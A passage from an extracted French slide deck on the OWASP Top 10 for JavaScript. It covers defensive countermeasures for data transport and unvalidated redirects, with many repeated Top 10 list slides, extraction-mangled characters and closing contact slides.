Contre-­‐Mesures

★U6liser  TLS/SSL  dès  que  des  données  sensibles  sont  a  échanger

★Mebre  le  flag  ‘Secure’  sur  les  cookies  importants  (cookie  de  session  par  exemple)

★Ne  pas  mixer  d’accès  à  du  contenu  HTTP  depuis  du  contenu  HTTPS

★Mebre  en  place  une  configura6on  “sécurisée”  de  TLS/SSL  (cf  www.ssllabs.com)

★Voir    hDp://www.owasp.org/index.php/Transport_Layer_Protec;on_Cheat_Sheet    pour  plus  de  details

45

Saturday, March 2, 13

Page 87: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 88: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 89: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 90: 2013 02-27-owasp top10 javascript

Saturday, March 2, 13

Page 91: 2013 02-27-owasp top10 javascript

Contre-­‐Mesures

★ Eviter  au  maximum  les  redirec6ons  et  les  transferts

★ S’il  faut  absolument  les  intégrer,  ne  pas  u6liser  les  paramètres  parvenant  d’un  u6lisateur  pour  définir  l’URL/fonc6on  cible.

★ Si  vous  “devez”  u6liser  les  paramètres  u6lisateurs,  • Valider  chaque  paramètre  pour  vérifier  qu’il  est  autorisé  et  

valide  par  rapport  à  l’u6lisateur,  ou  alors  • U6liser  une  table  de  correspondance  serveur  entre  les  

paramètres  u6lisateurs  et  les  pages  à  appeler.★ Pour  les  redirec6ons,  valider  l’URL  cible  après  la  

construc6on  pour  vérifier  qu’elle  redirige  bien  vers  un  site  autorisé  !

48

Saturday, March 2, 13

Page 92: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 93: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 94: 2013 02-27-owasp top10 javascript

hDp://www.owasp.org/index.php/Top_10

A1:  Injec;on A2:  Cross  Site  Scrip;ng  (XSS)

A3:  Mauvaise  ges;on  des  sessions  et  de  l’authen;fica;on

A4:Référence  directe  non  sécurisée  à  un  objet

A5:  Cross  Site  Request  Forgery  (CSRF)  

A6:  Mauvaise  configura;on  sécurité

A8:  Mauvaise  restric;on  d’accès  à  une  URL

A10:    Redirec;ons    et  transferts  non  validés

A7:  Mauvais  stockage  cryptographique

A9:  Protec;on  insuffisante  lors  du  transport  des  données

Saturday, March 2, 13

Page 95: 2013 02-27-owasp top10 javascript

• @SPoint

[email protected]

Vous pouvez donc vous protéger de lui maintenant...

Saturday, March 2, 13

Page 96: 2013 02-27-owasp top10 javascript

• @SPoint

[email protected]

Il n'y a qu'une façon d'échouer, c'est d'abandonner avant d'avoir réussi [Olivier Lockert]

Vous pouvez donc vous protéger de lui maintenant...

Saturday, March 2, 13